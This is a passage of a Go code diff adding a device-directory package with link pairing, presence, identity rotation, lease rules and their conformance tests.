t.Run(tc.name, func(t *testing.T) { + if got, err := OpenName([]byte(tc.key), tc.sealed); err == nil { + t.Fatalf("opened %q", got) + } + }) + } +} + +func TestSealTitleCutsBeforeSealing(t *testing.T) { + tests := []struct{ name, title, want string }{ + {"short is kept", "hello", "hello"}, + {"exactly the limit is kept", strings.Repeat("a", 120), strings.Repeat("a", 120)}, + {"long is cut to 120 bytes", strings.Repeat("a", 500), strings.Repeat("a", 120)}, + {"a character is never split", strings.Repeat("a", 119) + "é", strings.Repeat("a", 119)}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + sealed, err := SealTitle(testKey(), tc.title) + if err != nil { + t.Fatal(err) + } + got, err := OpenName(testKey(), sealed) + if err != nil || got != tc.want { + t.Fatalf("got %d bytes %q, %v", len(got), got, err) + } + }) + } +} + +func TestMetadataKeyIsStableAndKeyed(t *testing.T) { + a, b := MetadataKey([]byte("k1")), MetadataKey([]byte("k1")) + if string(a) != string(b) || len(a) != 32 || string(a) == string(MetadataKey([]byte("k2"))) { + t.Fatal("metadata key is not a stable 32-byte function of the cell key") + } +} diff --git a/internal/directory/pairing.go b/internal/directory/pairing.go new file mode 100644 index 0000000000..7b001061c0 --- /dev/null +++ b/internal/directory/pairing.go @@ -0,0 +1,65 @@ +package directory + +// Joined says a device was approved into the identity. It is what the watch +// feed tells the other devices, in the same turn as the approve. +type Joined struct { + Device string + Name string // sealed, as stored + Platform string + At int64 // directory ms +} + +// pairing is what a backend needs to answer ApproveRequest and DenyRequest: the +// request store to decide in, and an optional listener for new devices. Memory +// and SQLite embed it, so the two verbs are written once. +type pairing struct { + links Decider + onJoin func(Joined) +} + +// SetLinks gives the backend the request store its devices decide in. Call it +// before the directory is used; without one every request is ErrRequestGone. +func (p *pairing) SetLinks(d Decider) { p.links = d } + +// SetOnJoin registers the listener told of each approved device, after its +// record is written and before the approval is kept. Call it before use. +func (p *pairing) SetOnJoin(f func(Joined)) { p.onJoin = f } + +// approve decides code as approved. write stores the device record for the +// request and answers it as stored; it runs only when the decision is new. +func (p *pairing) approve(code string, a Approval, write func(Request) (Device, error)) error { + dec, err := decisionOf(a) + if err != nil { + return err + } + return p.decide(code, dec, func(r Request) error { + if r.Device != dec.Device { + return ErrBadRequest + } + d, err := write(r) + if err == nil { + p.joined(r, d) + } + return err + }) +} + +// deny decides code as denied. guard runs the caller's usual checks (not +// revoked, identity not replaced) without writing anything. +func (p *pairing) deny(code string, guard func() error) error { + return p.decide(code, Decision{State: RequestDenied}, func(Request) error { return guard() }) +} + +func (p *pairing) decide(code string, d Decision, apply func(Request) error) error { + if p.links == nil { + return ErrRequestGone + } + return p.links.Decide(code, d, apply) +} + +func (p *pairing) joined(r Request, d Device) { + if p.onJoin == nil { + return + } + p.onJoin(Joined{Device: r.Device, Name: d.Name, Platform: d.Platform, At: d.Created}) +} diff --git a/internal/directory/pairing_test.go b/internal/directory/pairing_test.go new file mode 100644 index 0000000000..3b5175b6bb --- /dev/null +++ b/internal/directory/pairing_test.go @@ -0,0 +1,106 @@ +package directory_test + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +func TestMemoryPairingConforms(t *testing.T) { + directorytest.RunPairing(t, func(*testing.T) directorytest.PairingRig { + clock := directorytest.NewFakeClock() + links := directory.NewLinks(clock.Now, directory.DefaultLinkLimits) + mem := directory.NewMemory(clock.Now) + mem.SetLinks(links) + return directorytest.PairingRig{Clock: clock, Devices: mem.For, Requests: links.From("net")} + }) +} + +func TestSQLitePairingConforms(t *testing.T) { + directorytest.RunPairing(t, func(t *testing.T) directorytest.PairingRig { + clock := directorytest.NewFakeClock() + links := directory.NewLinks(clock.Now, directory.DefaultLinkLimits) + db := openAt(t, filepath.Join(t.TempDir(), "dir.db"), clock) + db.SetLinks(links) + return directorytest.PairingRig{Clock: clock, Devices: db.For, Requests: links.From("net")} + }) +} + +func TestHTTPPairingConforms(t *testing.T) { + directorytest.RunPairing(t, func(t *testing.T) directorytest.PairingRig { + clock := directorytest.NewFakeClock() + links := directory.NewLinks(clock.Now, directory.DefaultLinkLimits) + spaces := newNamespaces(clock) + spaces.links = links + mux := http.NewServeMux() + mux.Handle("/v1/dir/", directory.Handler(fakeAuth, spaces.open)) + mux.Handle(directory.LinkPath+"/", directory.LinkHandler(links, func(*http.Request) string { return "net" })) + srv := httptest.NewServer(mux) + t.Cleanup(srv.Close) + as := func(device string) directory.Client { + return directory.NewHTTP(srv.URL, fakeSign("id_one", device), srv.Client()) + } + return directorytest.PairingRig{Clock: clock, Devices: as, Requests: directory.NewLinkHTTP(srv.URL, srv.Client())} + }) +} + +// The fixtures of docs/testdata/ux-pairing-vectors.json decode into the Go +// records and encode back to the same JSON. +func TestContractVectorsRoundTrip(t *testing.T) { + raw, err := os.ReadFile("../../docs/testdata/ux-pairing-vectors.json") + if err != nil { + t.Fatal(err) + } + var vectors map[string]json.RawMessage + if err := json.Unmarshal(raw, &vectors); err != nil { + t.Fatal(err) + } + for name, into := range map[string]any{ + "request_pending": &directory.Request{}, "create_answer": &directory.Opened{}, + "device_legacy": &directory.Device{}, "device_new": &directory.Device{}, + } { + if err := json.Unmarshal(vectors[name], into); err != nil { + t.Fatalf("%s: %v", name, err) + } + back, _ := json.Marshal(into) + if !jsonEqual(t, back, vectors[name]) { + t.Errorf("%s re-encodes as %s, fixture %s", name, back, vectors[name]) + } + } +} + +func jsonEqual(t *testing.T, a, b []byte) bool { + t.Helper() + var x, y any + if json.Unmarshal(a, &x) != nil || json.Unmarshal(b, &y) != nil { + t.Fatal("not json") + } + ja, _ := json.Marshal(x) + jb, _ := json.Marshal(y) + return string(ja) == string(jb) +} + +// A client that sends no platform, created or last_seen still writes a device, +// and a record that carries them keeps them out of the version count. +func TestLastSeenMovesNoVersion(t *testing.T) { + clock := directorytest.NewFakeClock() + mem := directory.NewMemory(clock.Now) + c := mem.For(tA) + if err := c.PutDevice(bg, tA, directory.Device{V: 1}); err != nil { + t.Fatal(err) + } + before, _ := c.List(bg) + if err := c.PutDevice(bg, tA, directory.Device{V: 1, LastSeen: 99}); err != nil { + t.Fatal(err) + } + after, _ := c.List(bg) + if before.Version != after.Version { + t.Fatalf("version %d -> %d for an ignored last_seen", before.Version, after.Version) + } +} diff --git a/internal/directory/presence.go b/internal/directory/presence.go new file mode 100644 index 0000000000..84a5693913 --- /dev/null +++ b/internal/directory/presence.go @@ -0,0 +1,92 @@ +package directory + +import ( + "context" + "database/sql" + "net/http" + "strconv" +) + +// DevicePresence is one device's line in a presence answer. +type DevicePresence struct { + Online bool `json:"online"` + LastSeen int64 `json:"last_seen"` // directory ms; the answer's now while Online +} + +// PresenceView is the answer to GET /v1/dir/presence (docs/ux-pairing-contract.md, section 3.5): +// one entry per device that is not revoked. It is the fallback for a client +// whose watch socket is down, and what a surface reads at open. +type PresenceView struct { + Now int64 `json:"now"` + Devices map[string]DevicePresence `json:"devices"` + // Version is the directory version the answer was read at, sent as the VersionHeader. + Version uint64 `json:"-"` +} + +func (v PresenceView) header(h http.Header) { + h.Set(VersionHeader, strconv.FormatUint(v.Version, 10)) +} + +// presenceOf is the view of listing l when the devices in online hold a watch socket. +func presenceOf(l Listing, online map[string]bool) PresenceView { + v := PresenceView{Now: l.Now, Version: l.Version, Devices: map[string]DevicePresence{}} + for id, d := range l.Devices { + if d.Revoked { + continue + } + p := DevicePresence{Online: online[id], LastSeen: d.LastSeen} + if p.Online { + p.LastSeen = l.Now + } + v.Devices[id] = p + } + return v +} + +func (c *memoryClient) Presence(ctx context.Context) (PresenceView, error) { + l, err := c.List(ctx) + return presenceOf(l, c.m.feed.OnlineSet()), err +} + +func (c *sqliteClient) Presence(ctx context.Context) (PresenceView, error) { + l, err := c.List(ctx) + return presenceOf(l, c.s.feed.OnlineSet()), err +} + +// Presence asks the relay who is online. ErrTooOld-style fallbacks are the caller's: a relay without the route answers not found. +func (h *HTTP) Presence(ctx context.Context) (v PresenceView, err error) { + hdr, err := h.doHeader(ctx, http.MethodGet, dirBase+"/presence", nil, &v) + if err == nil { + v.Version, _ = strconv.ParseUint(hdr.Get(VersionHeader), 10, 64) + } + return v, err +} + +// seen stamps when device last held a watch socket. It moves no version, +// because LastSeen is not a thing a person sees in the list. +func (m *Memory) seen(device string, at int64) { + m.mu.Lock() + defer m.mu.Unlock() + if d, ok := m.devices[device]; ok { + d.LastSeen = at + set(m, m.devices, device, d) + } +} + +func (s *SQLite) seen(device string, at int64) { + _ = s.inTx(context.Background(), func(tx *sql.Tx) error { + var d Device + if get(tx, "devices", device, &d) != nil { + return nil // not a device of this identity: nothing to stamp + } + d.LastSeen = at + return put(tx, s.feed, "devices", device, d, at) + }) +} + +// wireFeed connects a backend to its watch feed: the devices it approves are +// announced to the event sockets, and the sockets' comings and goings stamp last_seen. +func wireFeed(f *Feed, p *pairing, seen func(device string, at int64)) { + p.SetOnJoin(f.announceJoin) + f.OnSeen(seen) +} diff --git a/internal/directory/records.go b/internal/directory/records.go new file mode 100644 index 0000000000..03def23f46 --- /dev/null +++ b/internal/directory/records.go @@ -0,0 +1,157 @@ +// Package directory is the small shared table that says which device holds +// which chat and where its last durable turn is. Every write is a +// compare-and-swap decided by the pure rules in rules.go; the fake and every +// real implementation share those rules and one conformance suite. +// +// # Link pairing: the client API +// +// A new device joins an identity by asking, and an already-paired device +// answers. The wire is docs/ux-pairing-contract.md; this is how Go calls it. +// +// The new device has no identity yet, so it uses Requests (open, unsigned). +// Over HTTP that is NewLinkHTTP(base, hc); in process it is Links.From(peer). +// +// asked, _ := reqs.CreateRequest(ctx, directory.NewRequest{ +// Pubkey: pub, X25519: box, NameSealed: sealed, Platform: "linux"}) +// // show asked.Code, asked.Check and the link https://codeaf.agentfield.ai/p/# +// for { +// r, err := reqs.GetRequest(ctx, asked.Code, 25*time.Second) +// if errors.Is(err, directory.ErrStillPending) { continue } +// // r.State is RequestApproved (r.Grant holds the sealed grant) or RequestDenied +// } +// +// An already-paired device is a Client (signed). It reads the request with +// GetRequest on the same open Requests, compares Request.Check with the one +// the new device shows, and then answers once: +// +// err := client.ApproveRequest(ctx, code, directory.Approval{Device: d, Cert: cert, Grant: grant}) +// err = client.DenyRequest(ctx, code) +// +// The first decision wins. A repeat of the same decision succeeds; the other +// decision is ErrAlreadyDecided. ErrRequestGone covers an unknown, expired or +// deleted code. Rate limits answer ErrRateLimited (wireauth.After says when to +// retry); the numbers are LinkLimits, read with LinkHTTP.Limits. +package directory + +// IdentityRec is the per-identity root record. +type IdentityRec struct { + V uint16 `json:"V"` + Identity string `json:"identity"` // id_…, derived from the signing key + Vault string `json:"vault,omitempty"` // rid of the current vault object + // Rotation is set once the identity has been replaced by a rotation: it + // takes no writes from then on. Nil means live. + Rotation *Rotation `json:"rotation,omitempty"` +} + +// Caps says what a device can do. +type Caps struct { + OS string `json:"os"` // runtime.GOOS + Arch string `json:"arch"` // runtime.GOARCH + Sandbox *string `json:"sandbox"` // "seatbelt" | "landlock" | null + Container *string `json:"container"` // null in Stage 1 + GPU *string `json:"gpu"` // null in Stage 1 + Cow string `json:"cow"` // "apfs" | "btrfs" | "xfs-reflink" | "overlayfs" | "none" +} + +// Device is keyed by device id (dev_…). +type Device struct { + V uint16 `json:"V"` + Name string `json:"name"` // b64, sealed under the metadata key + AddedBy string `json:"added_by"` // identity id that signed the device cert + Revoked bool `json:"revoked"` // set only by Revoke; a fresh pairing makes a new device id + Caps Caps `json:"caps"` + + // Added by link pairing. Old records decode with zero values, and a client + // value for Created or LastSeen is ignored: the directory sets both. + Platform string `json:"platform,omitempty"` // darwin|linux|windows|ios|android|other + Created int64 `json:"created,omitempty"` // directory ms when the device joined + LastSeen int64 `json:"last_seen,omitempty"` // directory ms of the last watch socket close or hello +} + +// visibleAt hides LastSeen: a device coming and going is not a change a person +// sees in the list, so it moves no directory version. +func (d Device) visibleAt(int64) any { + d.LastSeen = 0 + return d +} + +// Lease says who may write a cell. Only the directory clock sets Expires. +type Lease struct { + Device string `json:"device"` // device id of the last holder, kept after release + Fence uint64 `json:"fence"` // +1 on every acquire, never decreases + Expires int64 `json:"expires"` // directory ms; held iff Expires > now; release sets 0 + Pending uint32 `json:"pending"` // turns sealed on the holder and not yet durable +} + +// Cell is keyed by cell ULID. It exists only once it has a durable head. +type Cell struct { + V uint16 `json:"V"` + Head string `json:"head"` // last durable turn id (hex64) + DurableAt int64 `json:"durable_at"` // directory ms + Class string `json:"class"` + Size uint64 `json:"size"` + ParentCell string `json:"parent_cell,omitempty"` + Title string `json:"title,omitempty"` // b64, sealed + Keys map[string]map[string]string `json:"keys"` // cell_key_id -> identity -> wrapped + Lease Lease `json:"lease"` + OrphanTurns uint32 `json:"orphan_turns,omitempty"` // turns in a death branch + Archived bool `json:"archived,omitempty"` // a merged or discarded branch + Frames []string `json:"frames,omitempty"` // hex64 ids of the frames holding the head's closure; a hint, never a condition +} + +// Listing is everything a home list needs, in one read. +type Listing struct { + Now int64 `json:"now"` // directory ms when read + Identity IdentityRec `json:"identity"` + Devices map[string]Device `json:"devices"` + Cells map[string]Cell `json:"cells"` + // Version is the directory version the records were read at, which is + // sent as the VersionHeader and not in the body. + Version uint64 `json:"-"` +} + +// withoutFrames drops every cell's frames from a list answer: the list is the +// home screen's hot read, and frame plans are for takers, who read the cell. +func withoutFrames(l Listing) Listing { + for id, c := range l.Cells { + c.Frames = nil + l.Cells[id] = c + } + return l +} + +// CellView is one cell with the directory time it was read at. +type CellView struct { + Now int64 `json:"now"` + Cell Cell `json:"cell"` +} + +// CellInit creates a cell. The calling device holds the new lease at fence 1. +type CellInit struct { + Head string `json:"head"` + Class string `json:"class"` + Title string `json:"title,omitempty"` + ParentCell string `json:"parent_cell,omitempty"` + Size uint64 `json:"size"` + Keys map[string]map[string]string `json:"keys"` + OrphanTurns uint32 `json:"orphan_turns,omitempty"` + Frames []string `json:"frames,omitempty"` +} + +// Beat renews a lease the caller holds. +type Beat struct { + Fence uint64 `json:"fence"` + Pending uint32 `json:"pending"` +} + +// Publish moves a cell's durable head under a lease the caller holds. +type Publish struct { + Fence uint64 `json:"fence"` + OldHead string `json:"old_head"` + Head string `json:"head"` + Size uint64 `json:"size"` + Class string `json:"class"` + Title string `json:"title,omitempty"` // empty keeps the current title + Pending uint32 `json:"pending"` // turns still not durable after this one + Frames []string `json:"frames,omitempty"` // empty or absent replaces the record's plan with none +} diff --git a/internal/directory/requests.go b/internal/directory/requests.go new file mode 100644 index 0000000000..ba3ec4319f --- /dev/null +++ b/internal/directory/requests.go @@ -0,0 +1,216 @@ +package directory + +import ( + "context" + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// RequestState is where a pending request stands. It moves once, from +// RequestPending, and never back. +type RequestState string + +// The three states of a request. +const ( + RequestPending RequestState = "pending" + RequestApproved RequestState = "approved" + RequestDenied RequestState = "denied" +) + +// The numbers every implementation shares (contract 1, 3). +const ( + RequestTTL = 10 * time.Minute // a request lives this long, counted by the relay's clock + DecidedKeep = 2 * time.Minute // a decided request stays readable this long + MaxWait = 25 * time.Second // the longest GetRequest wait + MaxGrant = 4096 // bytes of grant the relay stores + MaxNewBody = 1024 // bytes of a create body + maxName = 96 // bytes of name before sealing + sealedExtra = 24 + 16 // secretbox nonce and tag + keySize = 32 +) + +// Request is one device asking to join, as the relay keeps it. +type Request struct { + Code string `json:"code"` + Device string `json:"device"` + Pubkey string `json:"pubkey"` + X25519 string `json:"x25519"` + NameSealed string `json:"name_sealed"` + Platform string `json:"platform"` + Check string `json:"check"` + RequestedAt int64 `json:"requested_at"` + ExpiresAt int64 `json:"expires_at"` + State RequestState `json:"state"` + Grant *string `json:"grant"` // nil until approved +} + +// NewRequest is the body of a create. Every key is b64u of 32 bytes; NameSealed +// is the device name sealed under the link key, which the relay never sees. +type NewRequest struct { + Pubkey string `json:"pubkey"` + X25519 string `json:"x25519"` + NameSealed string `json:"name_sealed"` + Platform string `json:"platform"` +} + +// Opened answers a create. The caller builds the link from Code and its own key. +type Opened struct { + Code string `json:"code"` + Device string `json:"device"` + Check string `json:"check"` + RequestedAt int64 `json:"requested_at"` + ExpiresAt int64 `json:"expires_at"` +} + +// Approval is the body of an approve: the Device record to write for the +// request's device, its certificate from the identity, and the grant sealed to +// the new device, which the relay keeps as opaque bytes. +type Approval struct { + Device Device `json:"device"` + Cert string `json:"cert"` // b64u of the identity.Cert JSON + Grant string `json:"grant"` // b64u of the sealed box +} + +// Requests is the open side of link pairing: what the new device calls, with +// no identity. Links.From serves it in process and LinkHTTP over the wire. +type Requests interface { + // CreateRequest asks to join. ErrBadRequest, ErrTooBig, ErrRateLimited, ErrFull. + CreateRequest(ctx context.Context, in NewRequest) (Opened, error) + // GetRequest reads a request. With wait > 0 it holds until the request is + // decided and answers ErrStillPending if the wait (at most MaxWait) ends + // first. ErrRequestGone, ErrRateLimited. + GetRequest(ctx context.Context, code string, wait time.Duration) (Request, error) +} + +// ErrStillPending ends a GetRequest wait in which nobody decided. +var ErrStillPending = errors.New("directory: request still pending") + +// The errors link pairing adds (contract 7). +var ( + ErrBadRequest = errors.New("directory: bad request") + ErrRequestGone = errors.New("directory: no such request") // unknown, expired and deleted are one answer + ErrAlreadyDecided = errors.New("directory: request already decided") + ErrTooBig = errors.New("directory: body too big") + ErrFull = errors.New("directory: too many live requests") + ErrRateLimited = wireauth.ErrRateLimited // the wire's sentinel, so callers need not import wireauth +) + +const codeAlphabet = "0123456789abcdefghjkmnpqrstvwxyz" // Crockford base32: no i, l, o, u + +var b64u = base64.RawURLEncoding + +// NormalizeCode is the one spelling a code is looked up by. +func NormalizeCode(code string) string { return strings.ToLower(strings.TrimSpace(code)) } + +// platforms are the values a platform may take; anything else is "other". +var platforms = map[string]bool{"darwin": true, "linux": true, "windows": true, "ios": true, "android": true, "other": true} + +// platformOf keeps a known platform, maps an unknown one to "other" and leaves +// an unset one unset. +func platformOf(p string) string { + switch { + case p == "" || platforms[p]: + return p + } + return "other" +} + +// CheckOf is the four digits both ends show so a substituted key is visible. +func CheckOf(pubkey []byte) string { + sum := sha256.Sum256(pubkey) + return fmt.Sprintf("%04d", (int(sum[0])<<8|int(sum[1]))%10000) +} + +// deviceOf is the device id of a public key, the same id identity.Cert gives. +func deviceOf(pubkey []byte) string { + sum := sha256.Sum256(pubkey) + return "dev_" + hex.EncodeToString(sum[:16]) +} + +// opened is the answer and the record for n made at now, or ErrBadRequest when n is not a +// request: wrong key lengths, a name that is too long or not sealed. +func (n NewRequest) opened(code string, now int64) (Opened, Request, error) { + pub, ok1 := decodeKey(n.Pubkey) + _, ok2 := decodeKey(n.X25519) + if !ok1 || !ok2 || !sealedName(n.NameSealed) { + return Opened{}, Request{}, ErrBadRequest + } + o := Opened{Code: code, Device: deviceOf(pub), Check: CheckOf(pub), RequestedAt: now, ExpiresAt: now + RequestTTL.Milliseconds()} + r := Request{ + Code: code, Device: o.Device, Pubkey: n.Pubkey, X25519: n.X25519, NameSealed: n.NameSealed, + Platform: platformOf(n.Platform), Check: o.Check, RequestedAt: now, ExpiresAt: o.ExpiresAt, State: RequestPending, + } + if r.Platform == "" { + r.Platform = "other" + } + return o, r, nil +} + +func decodeKey(s string) ([]byte, bool) { + raw, err := b64u.DecodeString(s) + return raw, err == nil && len(raw) == keySize +} + +// sealedName says s is b64u of a sealed name: nonce, tag and at most maxName bytes. +func sealedName(s string) bool { + raw, err := b64u.DecodeString(s) + return err == nil && len(raw) >= sealedExtra && len(raw) <= sealedExtra+maxName +} + +// Decision is one move of a request out of pending. +type Decision struct { + State RequestState + Device string // the device the approval's certificate names; empty for a denial + Grant string +} + +// errRepeat marks a decision that was already made exactly so. +var errRepeat = errors.New("directory: repeated decision") + +// Settle says whether d may move r: nil when r is pending, errRepeat when r was +// already decided the same way, ErrAlreadyDecided otherwise. First decision wins. +func Settle(r Request, d Decision) error { + switch { + case r.State == RequestPending: + return nil + case r.State == d.State && d.sameBody(r): + return errRepeat + } + return ErrAlreadyDecided +} + +func (d Decision) sameBody(r Request) bool { + return d.State == RequestDenied || (d.Device == r.Device && r.Grant != nil && d.Grant == *r.Grant) +} + +// Decided is r after d. +func Decided(r Request, d Decision) Request { + r.State = d.State + if d.State == RequestApproved { + r.Grant = &d.Grant + } + return r +} + +// decisionOf checks an approval on its own and names what it decides: the +// grant fits, and the certificate decodes to a device. +func decisionOf(a Approval) (Decision, error) { + if b64u.DecodedLen(len(a.Grant)) > MaxGrant { + return Decision{}, ErrTooBig + } + raw, err := b64u.DecodeString(a.Cert) + var cert identity.Cert + if err != nil || json.Unmarshal(raw, &cert) != nil || a.Grant == "" { + return Decision{}, ErrBadRequest + } + return Decision{State: RequestApproved, Device: cert.DeviceID(), Grant: a.Grant}, nil +} diff --git a/internal/directory/rotation.go b/internal/directory/rotation.go new file mode 100644 index 0000000000..2c39e9c679 --- /dev/null +++ b/internal/directory/rotation.go @@ -0,0 +1,159 @@ +package directory + +import ( + "context" + "errors" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// The states of a replaced identity. An identity with no Rotation is live. +const ( + StateFrozen = "frozen" // read-only; the device that froze it may thaw it or retire it + StateRetired = "retired" // read-only until RetireAt, then deleted by the relay +) + +// Rotation is what an identity's record says about its replacement. +type Rotation struct { + State string `json:"state"` + By string `json:"by"` // the device that froze it; only it may retire + At int64 `json:"at"` // directory ms of the freeze + RetireAt int64 `json:"retire_at,omitempty"` +} + +// RotationOp is one move of the rotation state machine. +type RotationOp string + +const ( + OpFreeze RotationOp = "freeze" + OpThaw RotationOp = "thaw" + OpRetire RotationOp = "retire" +) + +// RotationReq is the body of a rotation call. +type RotationReq struct { + Op RotationOp `json:"op"` + GraceMS int64 `json:"grace_ms,omitempty"` // retire only; 0 is the relay's default +} + +// GraceBounds is what a relay accepts as a grace period. The relay's own +// clock and these numbers decide, and the client reads them back. +type GraceBounds struct{ Min, Max, Default time.Duration } + +// DefaultGraceBounds is one hour to thirty days, a week unless told. +var DefaultGraceBounds = GraceBounds{Min: time.Hour, Max: 30 * 24 * time.Hour, Default: 7 * 24 * time.Hour} + +// RotationView is the answer to both rotation calls: the state now, the +// directory's time, and the bounds it enforces, so a conformance run can test +// what a relay says and a client can show what it will do. +type RotationView struct { + Now int64 `json:"now"` + Rotation *Rotation `json:"rotation,omitempty"` + MinMS int64 `json:"min_grace_ms"` + MaxMS int64 `json:"max_grace_ms"` + DefaultMS int64 `json:"default_grace_ms"` +} + +func viewOf(rec IdentityRec, now int64, b GraceBounds) RotationView { + return RotationView{Now: now, Rotation: rec.Rotation, + MinMS: b.Min.Milliseconds(), MaxMS: b.Max.Milliseconds(), DefaultMS: b.Default.Milliseconds()} +} + +var ( + // ErrRotated is the refusal of a write to a replaced identity. + ErrRotated = wireauth.ErrRotated + // ErrRotationStep is a rotation call that does not fit the state: a retire + // before a freeze. + ErrRotationStep = errors.New("directory: that rotation step does not fit the identity's state") + // ErrBadGrace is a retire whose grace period is outside the relay's bounds. + ErrBadGrace = errors.New("directory: grace period outside what this relay accepts") +) + +// refusesWrites is the rule every write verb meets first: a replaced identity +// takes no write, whoever the device is. +func refusesWrites(rec IdentityRec) error { + if rec.Rotation != nil { + return ErrRotated + } + return nil +} + +// A step moves the rotation of one identity; it answers the next one. +type rotationStep func(cur *Rotation, device string, req RotationReq, now int64, b GraceBounds) (*Rotation, error) + +var rotationSteps = map[RotationOp]rotationStep{OpFreeze: freeze, OpThaw: thaw, OpRetire: retire} + +// RotateBy is the pure rule of the rotation state machine: it answers the record +// after device's call, or the refusal. Freezing is first come: a second device +// that freezes an identity somebody else froze is refused, so two people who +// both hold the root cannot both be rotating it. +func RotateBy(rec IdentityRec, device string, req RotationReq, now int64, b GraceBounds) (IdentityRec, error) { + step, ok := rotationSteps[req.Op] + if !ok { + return rec, errBadRequest + } + next, err := step(rec.Rotation, device, req, now, b) + if err != nil { + return rec, err + } + rec.Rotation = next + return rec, nil +} + +func freeze(cur *Rotation, device string, _ RotationReq, now int64, _ GraceBounds) (*Rotation, error) { + switch { + case cur == nil: + return &Rotation{State: StateFrozen, By: device, At: now}, nil + case cur.By == device: + return cur, nil + } + return nil, ErrRotated +} + +// thaw is open to any device of the identity: it is how a computer undoes a +// rotation whose keeper lost its disk. It cannot undo a retire. +func thaw(cur *Rotation, _ string, _ RotationReq, _ int64, _ GraceBounds) (*Rotation, error) { + if cur != nil && cur.State == StateRetired { + return nil, ErrRotated + } + return nil, nil +} + +func retire(cur *Rotation, device string, req RotationReq, now int64, b GraceBounds) (*Rotation, error) { + switch { + case cur == nil: + return nil, ErrRotationStep + case cur.By != device: + return nil, ErrRotated + case cur.State == StateRetired: + return cur, nil + } + grace := time.Duration(req.GraceMS) * time.Millisecond + if grace == 0 { + grace = b.Default + } + if grace < b.Min || grace > b.Max { + return nil, ErrBadGrace + } + return &Rotation{State: StateRetired, By: cur.By, At: cur.At, RetireAt: now + grace.Milliseconds()}, nil +} + +// Gate is a Client's rotation calls as the three moves a rotation makes. +type Gate struct{ Client Client } + +// Freeze stops every write to the identity. +func (g Gate) Freeze(ctx context.Context) error { return g.move(ctx, RotationReq{Op: OpFreeze}) } + +// Thaw undoes a freeze. +func (g Gate) Thaw(ctx context.Context) error { return g.move(ctx, RotationReq{Op: OpThaw}) } + +// Retire makes the freeze permanent and has the relay delete the identity after grace. +func (g Gate) Retire(ctx context.Context, grace time.Duration) error { + return g.move(ctx, RotationReq{Op: OpRetire, GraceMS: grace.Milliseconds()}) +} + +func (g Gate) move(ctx context.Context, req RotationReq) error { + _, err := g.Client.Rotate(ctx, req) + return err +} diff --git a/internal/directory/rules.go b/internal/directory/rules.go new file mode 100644 index 0000000000..43496749ca --- /dev/null +++ b/internal/directory/rules.go @@ -0,0 +1,123 @@ +package directory + +// This file is the only place lease logic lives. Each rule takes a cell and +// returns the changed cell or an error, and never touches a clock or a store: +// the caller passes the directory time in and keeps the result. + +const ttlMs = int64(LeaseTTL / 1e6) + +// Lifted is c with its lease kept live until vouchedUntil, the time a watch +// socket's sign of life lasts (0 for none). A released lease (expires 0) stays +// released, and a stored expiry already later is left alone. It is the one +// place evidence enters a rule: every reader of a lease asks Lifted first and +// then applies the pure rules to the answer. +func Lifted(c Cell, vouchedUntil int64) Cell { + if c.Lease.Expires != 0 && vouchedUntil > c.Lease.Expires { + c.Lease.Expires = vouchedUntil + } + return c +} + +// Acquire takes the lease for device unless another device still holds it. The +// same device may re-take its own live lease; the fence still goes up. A forced +// acquire is a person's choice to displace a live holder: it skips the refusal, +// and the fence still goes up, so the old holder's next write fails as stale. +func Acquire(c Cell, device string, now int64, force bool) (Cell, error) { + if !force && c.Lease.Expires > now && c.Lease.Device != device { + return c, ErrLeaseHeld + } + c.Lease = Lease{Device: device, Fence: c.Lease.Fence + 1, Expires: now + ttlMs} + return c, nil +} + +// Heartbeat renews the lease. An expired lease nobody took may be renewed: the +// unchanged fence proves nobody did. +func Heartbeat(c Cell, device string, b Beat, now int64) (Cell, error) { + if err := holder(c, device, b.Fence); err != nil { + return c, err + } + c.Lease.Expires = now + ttlMs + c.Lease.Pending = b.Pending + return c, nil +} + +// PublishTo moves the durable head and renews the lease, because a publish is +// proof that the holder is alive. The fence is checked before the head, so a +// superseded holder always learns it lost the lease first. +func PublishTo(c Cell, device string, p Publish, now int64) (Cell, error) { + if err := holder(c, device, p.Fence); err != nil { + return c, err + } + if p.OldHead != c.Head { + return c, ErrHeadMoved + } + c.Head, c.Size, c.Class = p.Head, p.Size, p.Class + // The frames describe the head they were set with, so every publish replaces + // the list wholesale: an empty or absent list is a true statement ("the + // publisher did not say"), a stale one is not kept. + c.Frames = p.Frames + c.Lease.Pending, c.DurableAt = p.Pending, now + c.Lease.Expires = now + ttlMs + c.Title = keepIfEmpty(p.Title, c.Title) + return c, nil +} + +// ReleaseOf gives the lease up. The fence stays, so the next acquire still +// goes up by one. +func ReleaseOf(c Cell, device string, fence uint64) (Cell, error) { + if err := holder(c, device, fence); err != nil { + return c, err + } + c.Lease.Expires, c.Lease.Pending = 0, 0 + return c, nil +} + +// Created is the first record of a cell: the creating device holds the lease +// at fence 1. The caller has already checked that the id is free. +func Created(in CellInit, device string, now int64) Cell { + return Cell{ + V: 1, Head: in.Head, DurableAt: now, Class: in.Class, Size: in.Size, + ParentCell: in.ParentCell, Title: in.Title, Keys: in.Keys, OrphanTurns: in.OrphanTurns, + Frames: in.Frames, + Lease: Lease{Device: device, Fence: 1, Expires: now + ttlMs}, + } +} + +// holder says whether device still holds the lease at fence. +func holder(c Cell, device string, fence uint64) error { + if c.Lease.Fence != fence || c.Lease.Device != device { + return ErrFenceStale + } + return nil +} + +func keepIfEmpty(next, current string) string { + if next == "" { + return current + } + return next +} + +// RevokeOf marks target revoked on behalf of caller. A device cannot revoke +// itself: that is nearly always a slip, and a revoked device can no longer say +// so, so the mistake would be permanent. Revoking twice changes nothing. +func RevokeOf(target Device, caller, targetID string) (Device, error) { + if caller == targetID { + return target, ErrSelfRevoke + } + target.Revoked = true + return target, nil +} + +// Stamped is d as the directory stores it, given the record already stored +// under its id (had says whether there was one) and the directory time. The +// relay-owned fields are never taken from the client: Revoked and LastSeen stay +// as stored, and Created is the time of the first write. +func Stamped(old Device, had bool, d Device, now int64) Device { + d.Revoked, d.LastSeen, d.Created = old.Revoked, old.LastSeen, old.Created + if !had { + d.Created = now + } + d.Platform = platformOf(d.Platform) + return d +} diff --git a/internal/directory/rules_test.go 